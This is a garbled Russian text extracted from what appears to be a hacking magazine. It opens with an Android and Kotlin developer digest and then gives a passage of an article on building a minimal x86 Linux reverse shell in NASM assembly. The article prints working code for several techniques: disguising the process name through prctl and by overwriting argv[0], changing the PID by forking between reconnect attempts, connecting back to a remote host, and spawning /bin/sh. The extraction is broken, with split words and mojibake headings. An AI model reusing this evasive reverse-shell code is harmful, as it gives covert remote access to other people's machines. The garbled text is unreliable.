Óäà ëåíèå Firebase.

5.  Joda Time — прек расная биб лиоте ка
для работы со вре менем, но в ней исполь зуют ся край не неэф фектив ные
решения. Луч ше либо заменить эту биб лиоте ку , либо отло жить
ее ини циали зацию на как мож но более поз днее вре мя.

Èç áàâëå íèå îò Joda Time.

java.time

6.  Ини циали зация про- 
вай деров кон тента (а сре ди них есть и WorkManager, и тот же Firebase)
про исхо дит в основном потоке до запус ка самого при ложе ния. Исполь зуя
биб лиоте ку Jetpack AndroidX App Startup, ини циали зацию content
provider’ов мож но отло жить и сэконо мить еще нес коль ко десят ков мил- 
лисекунд.

Ëå íèâàÿ èíè öèàëè çàöèÿ content provider’îâ.

7. 
 Здесь все прос то и логич но.

Îò êàç îò I/O-îïå ðàöèè è äåñåðè àëè çàöèè JSON â îñíîâíîì

ïîòîêå.

Ãðóïïèðîâêà äàííûõ â Kotlin

 — статья о встро енных фун кци ях груп пиров ки в язы ке Kotlin.Kotlin Grouping
В Kotlin есть фун кция-рас ширение , которую мож но при менить

к кол лекци ям. Работа ет она так:
groupBy()

Как вид но, фун кция раз бива ет List на Map, где в качес тве клю чей исполь зуют- 
ся зна чения, получен ные при выпол нении ука зан ной в аргу мен те 
лям бды, а в качес тве зна чений — спи сок зна чений, вхо дящих в эту груп пу.
В дан ном слу чае тело лям бды — , поэто му груп пиров ка про исхо- 
дит по пер вому сим волу.

groupBy()

it.first()

Ин терес но, что  при нима ет и вто рой аргу мент. В нем мож но
передать фун кцию тран сфор мации, которая будет выпол нена над зна чени ями
кол лекции.

groupBy()

Еще одна фун кция груп пиров ки — это . В отли чие от пре дыду- 
щей, она пред назна чена не для груп пиров ки как таковой, а для выпол нения
над сгруп пирован ными дан ными какой-либо общей опе рации. Допус тим, мы
хотим пос читать количес тво слов на каж дую бук ву в кол лекции. Мы мог ли бы
сде лать это в цик ле, но мож но обой тись все го одной стро кой.

groupingBy()

Об рати вни мание, что фун кция воз вра щает не Map или List, а объ ект
Grouping, над которым мы как раз и выпол няем опе рацию  —
под счет обще го количес тва эле мен тов в каж дой груп пе. Так же Grouping под- 
держи вает опе рации ,  и , о которых мож но про- 
читать в .

eachCount()

fold() reduce() aggregate()
офи циаль ной докумен тации

Бо лее слож ный при мер, исполь зующий обе фун кции: под счет количес тва
закон ченных и незакон ченных задач.

Value-êëàññû â Kotlin 1.5

 — хорошая статья с рас ска зом
о новом типе клас сов в Kotlin 1.5.
How I use the new Inline Value Classes in Kotlin

Пред ставь себе сле дующую ситу ацию. Есть такой класс:

 class Person(
     val firstName: String,
     val lastName: String,
     val age: Int,
     val siblings: Int,
   ...
)

Ба наль нейший класс, ана логи которо го соз давал любой прог раммист. Где-то
в коде так же есть такая фун кция:

       
 

fun setPersonData(firstName: String, lastName: String, age: Int,
siblings: Int)

По ка все абсо лют но нор маль но, но что, если ты прос то перепу таешь порядок
аргу мен тов:

   setPersonData("Smith", "John", 0, 24)

В этом слу чае фун кция отра бота ет абсо лют но неп равиль но, а сре да раз- 
работ ки не сде лает ни еди ного пре дуп режде ния. К тому же если в будущем
внут ренний фор мат хра нения дан ных изме нит ся (в этом при мере проб лем
нет, но в реаль ном коде ID типа Int может заменить ся, нап ример, на тек сто- 
вый UID), то перера баты вать при дет ся весь код, работа ющий с фун кци ей
и клас сом.

Ре шить эти проб лемы мож но так:

 class Person(
     val firstName: FirstName,
     val lastName: LastName,
     val age: Age,
     val siblings: Siblings,
   ...
)

       
 

fun setPersonData(firstName: FirstName, lastName: LastName, age: Age,
siblings: Siblings)

setPersonData(
   FirstName("John"),
   LastName("Smith"),
   Age(24),
   Siblings(0),
)

То есть обер нуть прос тые типы дан ных в объ екты. Но! Во-пер вых, это неудоб- 
но, во-вто рых, пос тоян ное соз дание объ ектов в ито ге при ведет к падению
про изво дитель нос ти.

Как раз здесь на сце ну выходит . По сути, это класс с одним
полем, нап ример:

value class

    value class FirstName(val value: String)

Од нако, в отли чие от обыч ного клас са, value-класс инлай новый. Он не будет
сущес тво вать в резуль тиру ющем байт-коде при ложе ния. Ком пилятор раз- 
вернет все value-клас сы и будет исполь зовать вмес то них сох ранен ные внут- 
ри зна чения.

Бо лее того, value-класс может не прос то хра нить зна чение, но и валиди- 
ровать его. Нап ример:

  value class Age(
     val value: Int,
 ) {
    init {

            require(value >= 0) { "age must be >= 0: '$value'" }
   }
}

Та кой value-класс выб росит исклю чение IllegalArgumentException, если соз- 
дать его с отри цатель ным зна чени ем.

Ìåòîäû vs ôóíêöèè-ðàñøèðåíèÿ

 — статья
о раз личи ях меж ду метода ми клас са и фун кци ями-рас ширени ями.
Consider extracting non-essential parts of your API into extensions

До пус тим, у нас есть два фраг мента кода. Пер вый:

  class Workshop(/*...*/) {
       fun makeEvent(date: DateTime): Event = //...

   val permalink
        get() = "/workshop/$name"

}

Вто рой:

  class Workshop(/*...*/) {
}

     fun Workshop.makeEvent(date: DateTime): Event = //...

 val Workshop.permalink
    get() = "/workshop/$name"

Они очень похожи, в том смыс ле, что добав ляют в один класс одни и те же
фун кции. Но пер вый фраг мент дела ет это клас сичес ким спо собом — добав-
ляя в класс методы, а вто рой — через исполь зование фун кций-рас ширений.

Все выг лядит поч ти оди нако вым, но есть раз личия:
1. В отли чие от род ных методов, рас ширения нуж но импорти ровать отдель- 

но.
2. Рас ширения не вир туаль ные, то есть их нель зя пере опре делить в клас- 

сах-нас ледни ках.
3. Фун кции-рас ширения работа ют с типом, а не с клас сом.
4. Фор маль но фун кции-рас ширения не счи тают ся частью клас са.

Бла года ря пер вому раз личию фун кции-рас ширения мож но рас смат ривать
как отличных кан дидатов для допол нитель ных фун кций, которые могут
понадо бить ся, но в боль шинс тве слу чаев не нуж ны. Более того, мож но соз- 
дать нес коль ко фай лов фун кций-рас ширений, которые изме няют класс
по-раз ному. В одной ситу ации могут быть нуж ны одни допол нитель ные фун- 
кции, в дру гой — дру гие.

Вто рое важ ное раз личие: фун кции-рас ширения добав ляют ся к типу, а не
к клас су. Это поз воля ет писать, нап ример, такие фун кции-рас ширения:

    inline fun CharSequence?.isNullOrBlank(): Boolean {
   contract {

          returns(false) implies (this@isNullOrBlank != null)
  }

       return this == null || this.isBlank()
}

С точ ки зре ния ком пилято ра,  и  — это раз ные
типы.

CharSequence? CharSequence

Àâòîðàçáëîêèðîâêà ñìàðòôîíà ïîñëå óñòàíîâêè ñáîðêè

 — корот кая замет ка о том, как авто- 
мати чес ки раз бло киро вать смар тфон пос ле уста нов ки новой сбор ки при- 
ложе ния.

Auto Unlock Android Device on App Deploy

Спо соб работа ет толь ко в UNIX-сис темах и тре бует скрипт
. Но, что бы он зарабо тал, необ ходимо испра вить нес коль ко

строк:
device_awake.sh

       adb shell input keyevent KEYCODE_WAKEUP # wakeup device
            adb shell input touchscreen swipe 530 1420 530 1120 # swipe up

gesture
            adb shell input text "000000" # <- Change to the your device PIN/

Password
            

 
#adb shell input keyevent 66 # simulate press enter, if your keyguard
requires it

Пер вую стро ку оставля ем как есть. Она вклю чает экран. Вто рая стро ка дела ет
свайп сни зу вверх, но если исполь зует ся телефон с высоким раз решени ем,
то пос леднюю циф ру луч ше испра вить на 500 или даже мень ше (ина че свайп
будет слиш ком корот ким). Третья стро ка вво дит PIN-код, его нуж но впи сать
вмес то стро ки "000000". Чет вертая стро ка нуж на не на всех телефо нах
и поэто му заком менти рова на.

Ес ли пос ле вво да PIN-кода не про исхо дит авто мати чес кая раз бло киров ка
экра на — ее сле дует рас коммен тировать:
1. Пе рехо дим в Android Studio и откры ваем парамет ры сбор ки (Edit

conguration...).
2. В открыв шемся окне нажима ем кноп ку + и выбира ем Shell Script.
3. Ука зыва ем в пер вом поле вво да путь к скрип ту.
4. Воз вра щаем ся обратно в кон фигура цию при ложе ния и в раз деле Before

launch нажима ем + и выбира ем Run Another Conguration, выбира ем наш
скрипт.

В ори гиналь ной статье есть кар тинки, пояс няющие эти шаги.

ÁÈÁËÈÎÒÅÊÈ

 — боль шая под борка руководств, ста тей и пен- 
тест-инс тру мен тов;

• Android-Security-Teryaagh

 — биб лиоте ка для управле ния чувс тви тель ностью свай па LazyList
в Jetpack Compose;

• Flinger

 — ани миро ван ный инди катор перехо да меж ду экра- 
нами;

• Walk-Through-Screen

 — ком понент для выбора изоб ражения в галерее с воз- 
можностью редак тирова ния;

• SSImagePicker

 — view, наг лядно показы вающий надеж ность пароля;• PasswordStrengthView
 — view с полоса тым фоном;• DashedView

 — ниж няя панель навига ции с кра сивы ми эффекта ми;• BubbleTabBar
 — биб лиоте ка навига ции с под дер жкой Jetpack Compose;• Navigator

 — еще одна биб лиоте ка навига ции, исклю читель но для Jetpack
Compose;

• Volyager

 — набор ком понен тов Jetpack Compose для фор матиро- 
вания тек ста;

• Compose-richtext

 — боль шая кол лекция фун кций-рас ширений;• KAHelpers
 — экран выбора изоб ражений в сти ле WhatsApp;• PixImagePicker

 — кра сивое выпада ющее меню;• PowerSpinner
 — биб лиоте ка для соз дания тех самых отвра титель ных пошаго вых

экра нов пер вого запус ка;
• AppIntro

 — кра сивый view для выбора количес тва чего-либо;• Quantitizer
 — биб лиоте ка для отладки при ложе ния пря мо на устрой стве. • Pluto

mailto:zobnin@glc.ru
https://blog.oversecured.com/Common-mistakes-when-using-permissions-in-Android/
https://ed-george.github.io/articles/30-07-2021/jetpack-app-auth-library
https://developer.android.com/jetpack/androidx/releases/security#security-app-authenticator-1.0.0-alpha02
https://medium.com/okcredit/how-okcredit-android-app-improved-cold-startup-by-70-e02bda4836a8
https://proandroiddev.com/kotlin-grouping-e0b7c216ad9a
https://kotlinlang.org/docs/collection-grouping.html
https://www.manusobles.com/posts/inline-value-classes-kotlin
https://kt.academy/article/ek-extensions
https://build3r.github.io/2021/08/01/auto_unlock_on_app_run.html
https://build3r.github.io/assets/files/device_awake.sh
https://github.com/Ralireza/Android-Security-Teryaagh
https://github.com/iamjosephmj/flinger
https://github.com/Mindinventory/Walk-Through-Screen
https://github.com/SimformSolutionsPvtLtd/SSImagePicker
https://github.com/RHSaliya/PasswordStrengthView
https://github.com/MackHartley/DashedView
https://github.com/akshay2211/BubbleTabBar
https://github.com/KaustubhPatange/navigator
https://github.com/adrielcafe/voyager
https://github.com/halilozercan/compose-richtext
https://github.com/FunkyMuse/KAHelpers
https://github.com/akshay2211/PixImagePicker
https://github.com/skydoves/PowerSpinner
https://github.com/AppIntro/AppIntro
https://github.com/kojofosu/Quantitizer
https://github.com/mocklets/pluto
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Од нажды меня спро сили: мож но ли
написать реверс-шелл байт эдак на 200,
который, помимо про чего, менял бы себе
имя, пери оди чес ки — PID, варил кофе
и желатель но взла мывал Пен тагон? Ответ,
увы, оче виден — «нель зя». Одна ко задача,
как мне показа лось, сама по себе весь ма
инте рес ная. Пос мотрим, какие есть пути
к ее решению.

È ÑÍÎÂÀ: ÇÀ×ÅÌ?

На прос торах сети мож но лег ко най ти, к при меру, ,  и 
реверс-шел лы. Те из них, что написа ны на С, занима ют лишь десят ки-сот ни
килобайт. Так к чему соз давать еще один?

tiny shell prism дру гие

А суть вот в чем. Цель дан ной статьи учеб ная: рав но как раз работ ка ядер- 
ных рут китов — один из наибо лее наг лядных 

, написа ние обратно го шел ла с допол нитель ной фун- 
кци ональ ностью и одновре мен но с огра ниче ниями по раз меру исполня емо го
фай ла поз воля ет изу чить некото рые неожи дан ные осо бен ности положе ния
вещей в Linux, в час тнос ти каса ющих ся ELF-фай лов, их заг рузки и запус ка,
нас ледова ния ресур сов в дочер них про цес сах и работы ком понов щика (он же
лин кер, лин ковщик, редак тор свя зей). По ходу дела нас ждет мно жес тво инте- 
рес ных откры тий и любопыт ных хаков. А бонусом нам будет рабочий инс тру- 
мент, который заод но мож но допили вать и при менять в пен тесте. Посему
нач нем!

спо собов разоб рать ся с устрой- 
ством самого ядра Linux

INFO

Ре зуль таты тру дов дос тупны .на гит хабе

WARNING

Ни автор, ни редак ция не несут ответс твен ности
за любые пос ледс твия исполь зования при веден- 
ных в этой пуб ликации све дений. Вся информа- 
ция пре дос тавле на исклю читель но ради
информи рова ния читате ля.

ÎÏÐÅÄÅËßÅÌÑß Ñ ÒÇ

Итак, наш реверс-шелл помимо того, что под клю чать ся к задан ному хос ту
на задан ный порт, так же дол жен:

из менять собс твен ное имя при запус ке — так мы будем менее замет ны;•
пе риоди чес ки менять иден тифика тор про цес са — так мы будем менее
уло вимы;

•

иметь минималь но воз можный раз мер — так будет инте рес нее.•

Спер ва опре делим ся с язы ком. Пос коль ку мы стре мим ся к минималь но воз- 
можно му раз меру бинаря, в голову при ходит лишь два вари анта: С и ассем- 
блер. Одна ко, как ты, веро ятно, зна ешь, хоть С и поз воля ет собирать кро хот- 
ные по сов ремен ным мер кам Hello World’ы (при мер но 17 и ~800 Кбайт
при динами чес кой и ста тичес кой лин ковке соот ветс твен но про тив 2 Мбайт
на Go), при ком пиляции С-кода генери рует ся так же код, отве чающий:

за запуск гло баль ных конс трук торов и дес трук торов, если они есть;•
за кор рек тную переда чу аргу мен тов в ;• main()
за переда чу управле ния затем из  в .• __libc_start_main() main()

Конструкторы и деструкторы
Мас сивы фун кций-конс трук торов и фун кций-дес трук торов запус кают ся
перед и пос ле  соот ветс твен но. Их код находит ся в отдель ных сек циях
в про тиво вес «обыч ному», попада юще му в . Такие фун кции исполь зуют- 
ся, нап ример, для раз личных ини циали заций в раз деля емых биб лиоте ках
или для уста нов ки парамет ров буфери зации в некото рых при ложе ниях, вза- 
имо дей ству ющих по сети (в час тнос ти, это иног да встре чает ся в CTF-тас ках).
Что бы фун кция попала в одну из этих сек ций, сле дует ука зывать

 или 
перед опре деле нием фун кции.

main()
.text

__attribute__ ((constructor)) __attribute__ ((destructor))

В некото рых слу чаях сек ции, хра нящие эти фун кции, могут иметь име на 
 и / / . Все они игра ют

в целом одну роль, и  нас в рам ках дан ной статьи не инте ресу ют.
Под робнее о гло баль ных конс трук торах и дес трук торах мож но почитать
на .

/ /.ctors .init .init_array .dtors .fini .fini_array
раз личия

wiki.osdev.org

Так же на выходе исполня емый файл может содер жать сек ции с отла доч ной
и про чей информа цией (нап ример, име на сим волов, вер сия ком пилято ра),
которая не исполь зует ся непос редс твен но для его запус ка и работы,
но занима емое фай лом прос транс тво уве личи вает, и иног да зна читель но.
О таких сек циях мы погово рим нем ного поз же.

Дан ная обвязка нераз рывно свя зана с С-бинаря ми как минимум в Linux.
Для нас же в рам ках нашей задачи она — бал ласт, от которо го необ ходимо
нещад но избавлять ся. Так что реверс-шелл наш будет написан на великом
и ужас ном язы ке ассем бле ра (естес твен но, под x86). План таков: спер ва
напишем рабочий код, а уже затем будет занимать ся кар диналь ным умень- 
шени ем его раз мера.

ÊÎÄÈÌ

Мы будем исполь зовать NASM. За осно ву возь мем прос тей ший 
. Раз мышле ния на тему, дол жен ли наш код быть 32- или 64-бит- 

ным, при вели меня к выводу, что пер вый вари ант пред почти тель нее: инс трук- 
ции в этом режиме мень ше, а необ ходимой фун кци ональ нос ти мы не теря ем,
ведь наша глав ная задача по сути сос тоит лишь в под клю чении к сер веру
и запус ке обо лоч ки, а сама она будет работать уже в 64-бит ном режиме.

ас мовый
реверс-шелл

Код будет делать сле дующее:
при запус ке реверс-шелл меня ет свой пер вый аргу мент запус ка — эти
аргу мен ты отоб ража ются в , ;

•
ps htop

так же меня ет крат кое имя — оно отоб ража ется ути литой ;• top
за тем про бует под клю чить ся к сер веру. При неуда че соз дает ся дочер ний
про цесс, завер шает ся родитель ский, выжида ется тайм-аут, пос ле чего
попыт ка под клю чения пов торя ется;

•

при успешном под клю чении запус кает ся , , 
и  которо го свя заны с сокетом, обща ющим ся с сер вером. Имя
про цес са так же под меня ется.

• /bin/sh stdin stdout
stderr

Что ж, за дело!

×òî â èìåíè òåáå?

В Linux мож но встре тить две «сущ ности», хра нящие свя зан ное с про цес сом
имя. Назовем их «пол ное» и «крат кое имя». Оба дос тупны через : пол- 
ное в , крат кое в  (comm
от command).

/proc
/proc/<pid>/cmdline /proc/<pid>/comm

Крат кое имя, сог ласно опи санию, содер жит имя исполня емо го фай ла
без пути до него. Это имя  в ядер ной струк туре , опи- 
сыва ющей про цесс (задачу, если более кор рек тно в тер минах ядра), и име ет

 в 16 сим волов, вклю чая нуль-байт.

хра нит ся task_struct

ог раниче ние дли ны
Пол ное имя содер жит аргу мен ты запус ка прог раммы, они же :

в нулевом эле мен те мас сива — имя исполня емо го фай ла так, как оно было
ука зано при запус ке; в осталь ных — аргу мен ты, если они были переда ны.

*argv[]

Сме на крат кого име ни слож ностей не вызыва ет. Вос поль зуем ся для это го
сис темным вызовом . С его помощью про цесс или поток может осу- 
щест влять раз личные опе рации над самим собой: над сво им име нем, при- 
виле гиями (capabilities), областя ми памяти, режимом  и мно го чем
еще. Номер нуж ной опе рации переда ется пер вым аргу мен том, затем идут
осталь ные парамет ры, чис ло которых может варь иро вать ся. Нас инте ресу ет
опе рация , где вто рым аргу мен том переда ется ука затель
на новое имя. При этом, если имя с нуль-бай том длин нее 16 сим волов, оно
будет обре зано.

prctl()

seccomp

PR_SET_NAME

Та ким обра зом, для сме ны крат кого име ни нуж но выз вать 
, где  содер жит адрес нового име ни.

Для это го исполь зуем сле дующий код:

prctl(
PR_SET_NAME, NEW_ARGV) NEW_ARGV

   mov eax, 0xac ; NR_PRCTL
      mov ebx, 15 ; PR_SET_NAME
   mov ecx, NEW_ARGV
  int 0x80      ; syscall interrupt
 ...
NEW_ARGV:
   db "s0l3g1t", 0

INFO

Мно го полез ной информа ции о сис темных
вызовах мож но най ти в . Там же
для зоопар ка под держи ваемых в Linux плат форм
и ABI есть две таб лицы: с инс трук циями
для совер шения сис темно го вызова и с регис тра- 
ми, исполь зуемы ми при переда че аргу мен тов
и воз вра те зна чений. Имей в виду, что сог- 
лашения о вызовах, по край ней мере на x86,
отли чают ся от таковых в юзер модных при ложе- 
ниях.

man 2 syscall

Поп робу ем теперь перепи сать . Сле дующий кусок кода выпол няет
дей ствия, ана логич ные сиш ной 

, при этом адрес  пред варитель но был положен
на стек:

argv[0]
strncpy(&argv[0], NEW_ARGV, strlen(

argv[0] + 1)) argv[0]

  mov edi, [esp]             ; edi = &argv[0]
   mov esi, NEW_ARGV
      mov ecx, _start - NEW_ARGV ; ecx = strlen(NEW_ARGV) + NULL-byte
 _name_loop:
   movsb                    ; edi[i] = esi[i] ; i+=1
       loop _name_loop
 ...
NEW_ARGV:
   db "s0l3g1t", 0
_start:
...

Этот адрес помеща ется в регистр  (destination index register). В регистр
 (source index register) отправ ляет ся адрес уста нав лива емо го нами име ни

, а в  — его дли на, вклю чая нулевой байт. Одна ко ока зыва ется,
что если изна чаль ный  ( ) был длин нее нового, то, нес- 
мотря на наличие завер шающе го нуль-бай та, вывод  будет таков.

edi
esi
"s0l3g1t" ecx

argv[0] "./asm_shell"
ps

Вы вод ps при переза писи нулево го аргу мен та «в лоб»

Как-то не осо бо здо рово. Поп робу ем его сна чала запол нить нулями и лишь
затем переза писы вать.

Вы вод ps при переза писи занулен ного нулево го аргу мен та

Уже луч ше — в выводе  ничего подоз ритель ного! Хотя все еще есть к чему
стре мить ся. А что ска жет нам ману ал? Сов сем нем ного поис кав, натыка емся
на такое мес то в  (под раздел о ):

ps

man 5 proc /proc/[pid]/cmdline

«
»

Furthermore, a process may change the memory location that this file

refers via prctl(2) operations such as PR_SET_MM_ARG_START.

А в  находим, помимо парамет ра , так же
 (с неболь шой помет кой, что эти опции дос тупны начиная

с вер сии Linux 3.5). Кажет ся, вто рой параметр — как раз то, что надо! Да вот
незада ча: для выпол нения опе раций , зат рагива ющих память про цес- 
са, нуж на при виле гия  (ина че ведь было бы слиш ком уж
прос то!). А ее уста нов ка тре бует прав супер поль зовате ля.

man 2 prctl PR_SET_MM_ARG_START
PR_SET_MM_ARG_END

prctl()
CAP_SYS_RESOURCE

По этой же при чине замена адре са самого мас сива строк  на сте ке
«в лоб» не при ведет к сме не содер жимого : Linux хра- 
нит адре са начала и кон ца памяти, где находят ся аргу мен ты про цес са, при- 
чем содер жимое имен но этой памяти и выводит ся. То же вер но и для
перемен ных окру жения. И потому  выводит нули.

argv[]
/proc/[pid]/cmdline

xxd
В общем, будем исхо дить из пред положе ния, что реверс-шелл запущен

от име ни прос того поль зовате ля и воз можнос ти уста новить
 нико им обра зом нет. Поэто му прос то занулим весь изна- 

чаль ный  и запишем поверх него свой. Час то ли кому-либо при ходит
в голову смот реть имя про цес са через  в ?

CAP_SYS_RESOURCE
argv[0]

/proc xxd
Ос талось разоб рать ся с под меной име ни , ведь пос ле вызова

 для запус ка шел ла его  будет пре датель ски являть взо ру
адми на  в выводе  и , а так же в .
К счастью, это реша ется про ще прос того: нуж но все го лишь передать собс- 
твен ный  вто рым аргу мен том это му сис колу. При том важ но иметь
в виду, что переда ется ука затель на мас сив аргу мен тов (строк), который дол- 
жен завер шать ся нулевым ука зате лем. Поэто му перед тем, как положить
на стек адрес , туда кла дет ся 0:

/bin/sh
execve() *argv[]

/bin/sh ps htop /proc/<pid>/cmdline

argv[0]

NEW_ARGV

  xor eax, eax
    push dword 0x0068732f ; push "/sh"
    push dword 0x6e69622f ; push /bin (="/bin/sh")
   mov ebx, esp          ; ebx =  ptr to "/bin/sh" into ebx
  push edx              ; edx = 0x00000000
  mov edx, esp            ; **envp = edx = ptr to NULL address
 push ebx                ; pointer to /bin/sh
 push 0
 push NEW_ARGV

   mov ecx, esp          ; ecx points to shell's argv[0] ( &NEW_ARGV )
   mov al, 0xb
  int 0x80              ; execve("/bin/sh", &{ NEW_ARGV, 0 }, 0)

Но сме нить при этом и крат кое имя через  так прос то мы уже
не можем, пос коль ку работа ем из обо лоч ки, где вызов сис колов нап рямую
недос тупен. Одна ко есть иные  это сде лать.

prctl()

ин терес ные спо собы

«Äàâàé ïî íîâîé»

Что бы соеди нить ся с сер вером, нуж но соз дать сокет, запол нить струк туру,
содер жащую адрес для под клю чения, —  и при кон нектить ся
по нему.

struct sockaddr

Со кет — конеч ная точ ка соеди нения в Linux, и не обя затель но это сетевое
соеди нение, как в слу чае unix- и netlink-сокетов. При соз дании сокета необ- 
ходимо ука зать семей ство адре сов, или про токо лов (на текущий момент пер- 
вые — это псев донимы вто рых), которо му он будет при над лежать, тип сокета
(потоко вый, датаг рам мный, сырой и про чие) и про токол (зависит от семей- 
ства, см. ). Нам необ ходим потоко вый (TCP, )
интернет-сокет (семей ство ), а про токол при переда че нуля будет
выб ран авто мати чес ки:

man protocols SOCK_STREAM
AF_INET

     mov al, 0x66 ; 0x66 = 102 = socketcall()
 push ebx       ; 3rd arg: socket protocol = 0

      mov bl, 0x1 ; ebx = 1 = socket() function
    push byte 0x1 ; 2nd arg: socket type = 1 (SOCK_STREAM)
    push byte 0x2 ; 1st arg: socket domain = 2 (AF_INET)

     mov ecx, esp ; copy stack structure's address to ecx (pointer)
 int 0x80       ; eax = socket(AF_INET, SOCK_STREAM, 0)

INFO

На некото рых плат формах (в час тнос ти, x86_32)
для сокет ных фун кций вмес то отдель ных сис- 
колов , ,  и так
далее исполь зует ся еди ный сис темный вызов

, пер вым аргу мен том которо му
переда ется номер необ ходимой фун кции. Эти
номера опре деле ны . Воп рос сокет- 
ных сис темных вызовов нем ного осве щен в 

.

socket() bind() connect()

socketcall()

в ядре Linux
этой

статье

Па раметр  — это что-то вро де «базово го клас са» для опи- 
сания адре сов раз личных про токо лов. Он име ет лишь два поля:

struct sockaddr

/* Structure describing a generic socket address. */
  struct sockaddr {

      unsigned short sa_family; /* Common data: address family and 
length. */
  char sa_data[14];           /* Address data. */
};

Зна чение пер вого дол жно сов падать с семей ством соз данно го преж де
сокета. И имен но вто рое поле опи сыва ет адрес, с которым будет свя зан
сокет. Как ты понима ешь, в раз ных про токо лах фор маты адре сов отли чают ся,
поэто му сущес тву ют так же /  (internet-сокеты),

 (unix-сокеты) и мно гие дру гие. Хотя все они — сво его рода
надс трой ка над струк турой , к типу которой спо кой но при водят ся
для под держа ния еди ного API сокет ных фун кций. К при меру, 
делит поле  на IP-адрес и номер пор та, при этом оста ется 

 (см. так же ):

sockaddr_in sockaddr_in6
sockaddr_un

sockaddr
sockaddr_in

sa_data во семь
неис поль зуемых байт man 7 ip

  struct sockaddr_in {
       sa_family_t sin_family; /* address family: AF_INET */
     in_port_t      sin_port; /* port in network byte order */
       struct in_addr sin_addr; /* internet address */
     unsigned char sin_zero[8]; /* Pad to size of 'struct sockaddr' */
};

/* Internet address */
  struct in_addr {

      uint32_t       s_addr; /* address in network byte order */
};

В общем, наша задача — кор рек тно сфор мировать эту струк туру на сте ке
и передать ее адрес сис темно му вызову . Как отме чено, порт
( ) и IP-адрес ( ) в этой струк туре дол жны иметь сетевой
порядок бай тов, то есть быть Big Endian (MSB). Сле дующий код осу щест вля ет
вызов , где  был
получен нами ранее:

connect()
REV_PORT REV_IP

connect(socketfd, addr, sizeof(addr)) socketfd

  mov al, 0x66        ; 0x66 = 102 = socketcall()
       push dword REV_IP ; Remote IP address

     push word REV_PORT ; Remote port
       push word 0x0002 ; sin_family = 2 (AF_INET)
   mov ecx, esp        ; ecx = ptr to *addr structure

   push byte 16        ; addr_len = 16 (structure size)
  push ecx            ; push ptr of args structure
  push ebx            ; ebx = socketfd

   mov bl, 0x3         ; ebx = 3 = connect()
   mov ecx, esp        ; save esp into ecx, points to socketfd
  int 0x80            ; eax = connect(socketfd, *addr[2, PORT, IP], 
16) = 0 on success

Ес ли под клю чить ся не уда лось, сле дует пов торить попыт ку через некото рое
вре мя. Здесь все прос то: про веря ем код воз вра та, который мы получи ли
в , — в слу чае успешно го под клю чения он равен 0, а при ошиб ке -1.
При этом перед новой попыт кой под клю чения реверс-шелл дол жен соз- 
давать дочер ний про цесс и завер шать родитель ский, что бы сме нил ся его
PID. Спать при этом будет уже дочер ний. И для прос тоты пусть тайм-аут будет
всег да пять секунд, хотя и неп лохо бы, что бы это было слу чай ным зна чени ем
из неко его диапа зона.

eax

С фун кци ей сна при дет ся сов сем чуть-чуть повозить ся. Мы не можем
прос то так выз вать , потому что нуж ный нам сис кол при нима ет два
ука зате ля на струк туры — одна опи сыва ет про дол житель ность сна, а во вто- 
рую записы вает ся оставше еся вре мя, если сон был чем-то прер ван (нап- 
ример, при летев шим сиг налом):

sleep(5)

       int nanosleep(const struct timespec *req, struct timespec *rem)

Од нако ману ал говорит, что  может быть равен , а это нам толь ко
на руку. Оста ется лишь записать в струк туру  секун ды и наносе кун ды,
в течение которых мы собира емся спать:

rem NULL
req

  struct timespec {
     time_t tv_sec; /* goes to 'long int' */
     long tv_nsec;
};

Оба чис ла име ют тип , что на x86_32 сос тавля ет 4 бай та. То есть
запол нять струк туру и вызывать сис кол будем так, не забыв пос ле под чистить
за собой стек:

long int

  mov eax, NR_NANOSLEEP
      push dword 0 ; nsec
      push dword 2 ; sec

      mov ebx, esp ; ebx = struct timespec *req
      xor ecx, ecx ; ecx = struct timespec *rem = NULL
 int 0x80
  add esp, 8      ; cleanup

Ре зуль татом работы все го безоб разия можешь полюбо вать ся на скри не.

Спим, меня ем имя, не сда емся!

Продолжение статьи →
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ÄÈÅÒÀ ÄËß ÝËÜÔÀ

Пол дела сде лано: получен рабочий реверс-шелл! А какого он вышел раз- 
мера? При исполь зовании 

 для сбор ки бинаря получа- 
ем око ло 5 Кбайт.

nasm -f elf32 asm_shell.asm -o asm_shell.o
&& ld asm_shell.o -o asm_shell -m elf_i386

5 Кбайт... Это мно го или мало?

INFO

Хо чу отме тить, эта статья в зна читель ной мере
вдох новле на изыс кани ями, вто рое наз вание
которых очень говоря щее — 
(так же есть на ). Суть в том, что бы мак- 
сималь но отсечь все лиш нее из ELF-фай ла, раз- 
бирая по ходу дела внут реннос ти ELF и Linux,
и получить при этом рабочий бинарь. Сам он
при этом не дела ет ничего, толь ко завер шает ся
с отве том на самый глав ный воп рос во Все лен- 
ной, — а имен но воз вра щает код 42. Спой лер:
авто ру при началь ных 4 Кбайт уда лось
получить 45 байт!

Size Is Everything
гит хабе

Итак, мы име ем шелл на 4912 байт. Вре мя углу бить ся в поз нание эль фийской
сущ ности.

Ïàðà ñëîâ î ñáîðêå «êðîøêè ýëüôà»

Вся кий, имев ший дело с С, зна ет, что прог рамма начина ется с  — эту
фун кцию неп ремен но ожи дает в коде . На самом деле не сов сем: имен но
выпол нение исполня емо го фай ла начина ется с точ ки вхо да (entry point), и это
обыч но фун кция , отве чающая за пред варитель ную под готов ку
и переда чу управле ния в .

main()
gcc

_start()
main()

Мы ассем бли руем -файл с помощью NASM, а он выда ет «переме- 
щаемый» (Relocatable) ELF-файл (обыч но у них рас ширение ). Такие фай лы,
нап ример, получа ются при сбор ке про екта из нес коль ких исходных фай лов
по схе ме «один исходник — один переме щаемый эльф» (которые, кста ти,
могут быть написа ны и ). Дан ное явле ние име ет еще гор- 
дое наз вание «еди ница тран сля ции».

.asm
.o

не на одном язы ке

Пе реме щаемые эль фы содер жат сек ции с дан ными и кодом, которые
могут быть свя заны с дру гими фай лами для получе ния исполня емо го бинаря.
Собс твен но, этим и занима ется ком понов щик (лин кер), услу гами которо го мы
вос поль зуем ся. В нашем слу чае это . Он ожи дает в одном из вход ных фай- 
лов фун кцию с име нем , которую и сде лает точ кой вхо да.

ld
_start

×òî çà ïóñòîòà âíóòðè?

Вы пол нив ука зан ные выше коман ды, мы получи ли файл, в котором код (сек- 
ция ) начина ется с физичес кого сме щения (сме щение в фай ле на дис- 
ке) , подоз ритель но похоже го на раз мер стра ницы, а перед ним лишь
прос транс тво, запол ненное нулями. Это, меж ду про чим, целых 4 Кбайт. Такое
рас точитель ство совер шенно никуда не годит ся!

.text
0x1000

В начале была мат рица

Да вай-ка пос мотрим, какие опции ком понов щика за это отве чают. Судя
по опи санию клю ча  — , он нам и нужен. Про- 
